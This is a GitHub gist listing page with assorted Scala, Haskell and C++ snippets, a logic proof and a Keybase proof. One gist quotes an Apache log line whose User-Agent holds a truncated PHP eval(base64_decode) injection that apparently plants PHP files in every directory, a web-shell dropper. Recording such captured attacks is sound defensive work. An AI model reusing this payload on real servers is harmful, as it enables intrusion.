Skip to content

Instantly share code, notes, and snippets.

View fthomas's full-sized avatar

Frank Thomas fthomas

View GitHub Profile
package fix
import scalafix.v1._
import scala.meta._
class v1_2_0 extends SemanticRule("v1_2_0") {
override def fix(implicit doc: SemanticDocument): Patch = {
doc.tree.collect {
case t @ Term.Select(Term.Select(Term.Select(Term.Name("_root_"), Term.Name("io")), Term.Name("chrisdavenport")), Term.Name("log4cats")) =>
Patch.replaceTree(t, "_root_.org.typelevel.log4cats")
@fthomas
fthomas / proof.txt
Last active August 21, 2020 10:32
inference
https://www.umsu.de/trees/#((a%E2%86%92c)%E2%88%A7(b%E2%86%92d))%E2%86%92((a%E2%88%A7b)%E2%86%92(c%E2%88%A7d))
---
A -> C
B -> D
A & B
---
C & D
@fthomas
fthomas / A.scala
Last active August 19, 2019 16:34
implicit value class vs. implicit def + value class
case class A(i: Int)
object A {
implicit class ASyntax(val self: A) extends AnyVal {
def twice: Int = self.i * 2
}
implicit def toASyntax2(a: A): ASyntax2 =
new ASyntax2(a)
}
object AsyncCallbackInstances {
implicit val asyncCallbackAsync: Async[AsyncCallback] = new Async[AsyncCallback] {
override def async[A](k: (Either[Throwable, A] => Unit) => Unit): AsyncCallback[A] =
AsyncCallback((cb: Try[A] => Callback) => Callback(k(r => cb(r.toTry).runNow())))
override def asyncF[A](k: (Either[Throwable, A] => Unit) => AsyncCallback[Unit]): AsyncCallback[A] =
AsyncCallback((cb: Try[A] => Callback) => k(r => cb(r.toTry).runNow()).toCallback)
override def suspend[A](thunk: => AsyncCallback[A]): AsyncCallback[A] =
AsyncCallback.byName(thunk)

Keybase proof

I hereby claim:

  • I am fthomas on github.
  • I am fthomas (https://keybase.io/fthomas) on keybase.
  • I have a public key whose fingerprint is E8E0 DFA5 ED5B 5323 0316 7A9F CCCF CFC3 1874 C2DA

To claim this, I am signing this object:

import Control.Arrow
type IsEq a = (a, a)
splitInterchange :: (Arrow f) => f a1 a2 -> f a2 a3 -> f b1 b2 -> f b2 b3
-> IsEq (f (a1, b1) (a3, b3))
splitInterchange f1 f2 g1 g2 = (lhs, rhs)
where
lhs = (f1 >>> f2) *** (g1 >>> g2)
rhs = (f1 *** g1) >>> (f2 *** g2)
@fthomas
fthomas / monoid.cpp
Created December 15, 2012 10:06
A C++ monoid trait. Example code shamelessly copied from http://www.scala-lang.org/node/114 . This is just an experiment, how the linked Scala code can be translated into C++.
#include <algorithm>
#include <iostream>
#include <iterator>
#include <list>
#include <string>
using namespace std;
template<class T>
import scala.language.higherKinds
import scala.collection.TraversableLike
def minGroupBy[CC[A], A, B](c: CC[A])(f: A => B)
(implicit ev1: CC[A] => TraversableLike[A, CC[A]],
ev2: Ordering[B]): CC[A] = {
val grouped = c.groupBy(f)
if (grouped.nonEmpty) grouped.minBy(_._1)._2 else c
} //> minGroupBy: [CC[A], A, B](c: CC[A])(f: A => B)(implicit ev1: CC[A] => scala.
//| collection.TraversableLike[A,CC[A]], implicit ev2: Ordering[B])CC[A]
@fthomas
fthomas / gist:5049911
Last active December 14, 2015 07:19
<?php eval(base64_decode User-Agent...
from /var/log/apache2/access.log:
46.105.114.130 - - [27/Feb/2013:18:27:52 +0100] "GET / HTTP/1.1" 200 772 "" "<?php eval(base64_decode(\"YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfThkOTQ2YmY5NGY1YTU2MDY0NmNmNzdmYjYwOTg4MWQ0LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCU
// see http://stackoverflow.com/questions/14924707/how-to-write-a-scalaz-isempty-parameter-for-generic-types
import scalaz._
import Scalaz._
object Test {
def asOption[C](c: C)(implicit ev: IsEmpty[({type F[_] = C})#F]): Option[C] =
if (ev.isEmpty(c)) None else Some(c)
implicit def detailedIsEmpty[A, C[_]](implicit ev: IsEmpty[C]) =